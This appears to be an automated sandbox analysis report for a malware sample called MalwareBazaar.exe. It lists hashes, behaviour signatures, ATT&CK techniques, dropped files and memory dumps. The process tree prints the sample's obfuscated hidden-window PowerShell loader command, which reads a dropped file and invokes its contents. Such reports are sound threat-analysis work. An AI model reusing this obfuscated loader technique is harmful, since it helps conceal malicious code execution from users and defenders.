9f200b4426729f0d0f0b5977709c26f9961594f6612468102cec4dde53afc124

General

Target

MalwareBazaar.exe
Size

484KB
MD5

4d5aa2285d7426050f478210bae7c5aa
SHA1

54d7e8ce63dd56acc9dab89d0fe9bdeba0acda96
SHA256

9f200b4426729f0d0f0b5977709c26f9961594f6612468102cec4dde53afc124
SHA512

e5373e2e7201d31f26a41766606bc03f306ee7386b850ba9cfe27facf6b92b80ab3503218febda706ac428bd17d048ebaec83392acc17f55043edb830844d151
SSDEEP

12288:R0NwzBmcW5C5E3FRSnknkt7PY4vgxCZ+5JOwxyU3Bb/:fzwchGVRFktENxCZMtRD

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3764	powershell.exe

Loads dropped DLL 4 IoCs

pid	Process
948	MalwareBazaar.exe
948	MalwareBazaar.exe
948	MalwareBazaar.exe
948	MalwareBazaar.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3152	3764	WerFault.exe	84

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3764	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 3764	948	MalwareBazaar.exe	84
PID 948 wrote to memory of 3764	948	MalwareBazaar.exe	84
PID 948 wrote to memory of 3764	948	MalwareBazaar.exe	84

C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Diffusibleness=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Gyldigheden146.Aga';$Bimana=$Diffusibleness.SubString(14599,3);.$Bimana($Diffusibleness)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3764
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3764 -s 2480
    3⤵
    - Program crash
    PID:3152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3764 -ip 3764
1⤵
PID:4592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_roz0cxlf.q1k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm7233.tmp\BgImage.dll

Filesize
7KB

MD5
521df745a41f0b8164ffd01717cacbba

SHA1
dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74

SHA256
dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b

SHA512
c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm7233.tmp\UserInfo.dll

Filesize
4KB

MD5
acbda33dd5700c122e2fe48e3d4351fd

SHA1
2c154baf7c64052ee712b7cdf9c36b7697dd3fc8

SHA256
943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0

SHA512
d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsm7233.tmp\nsDialogs.dll

Filesize
9KB

MD5
1c8b2b40c642e8b5a5b3ff102796fb37

SHA1
3245f55afac50f775eb53fd6d14abb7fe523393d

SHA256
8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c

SHA512
4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57

Download Submit
C:\Users\Admin\AppData\Local\kilns\Unobtainably\Gyldigheden146.Aga

Filesize
69KB

MD5
d0a9e32e46f506f297ac08b6f2f12642

SHA1
eede417b23afdc7dd7f1b8c4a1368f2495c619a2

SHA256
6ff0b96b411fa1248bf9526086106e1a03ece0800f175a490f5cd3f83f9547d7

SHA512
2bb7f65278ee1bb772e44294ccf7a388d0312487bc481d7c0af8d6eefcaa6ecef7855e9e0dd282fad12bcdd8a68059ed3c68c3790f4220fe11019087f052178a

Download Submit
memory/3764-30-0x0000000005AF0000-0x0000000005B56000-memory.dmp

Filesize
408KB

Download
memory/3764-43-0x0000000006290000-0x00000000062DC000-memory.dmp

Filesize
304KB

Download
memory/3764-27-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/3764-29-0x0000000005240000-0x0000000005262000-memory.dmp

Filesize
136KB

Download
memory/3764-31-0x0000000005B60000-0x0000000005BC6000-memory.dmp

Filesize
408KB

Download
memory/3764-26-0x00000000053C0000-0x00000000059E8000-memory.dmp

Filesize
6.2MB

Download
memory/3764-25-0x0000000004C00000-0x0000000004C36000-memory.dmp

Filesize
216KB

Download
memory/3764-41-0x0000000005C10000-0x0000000005F64000-memory.dmp

Filesize
3.3MB

Download
memory/3764-42-0x0000000006240000-0x000000000625E000-memory.dmp

Filesize
120KB

Download
memory/3764-28-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download
memory/3764-44-0x0000000007210000-0x00000000072A6000-memory.dmp

Filesize
600KB

Download
memory/3764-45-0x00000000067A0000-0x00000000067BA000-memory.dmp

Filesize
104KB

Download
memory/3764-46-0x00000000067C0000-0x00000000067E2000-memory.dmp

Filesize
136KB

Download
memory/3764-47-0x0000000007860000-0x0000000007E04000-memory.dmp

Filesize
5.6MB

Download
memory/3764-24-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

Filesize
4KB

Download
memory/3764-49-0x0000000008490000-0x0000000008B0A000-memory.dmp

Filesize
6.5MB

Download
memory/3764-51-0x0000000073D60000-0x0000000074510000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing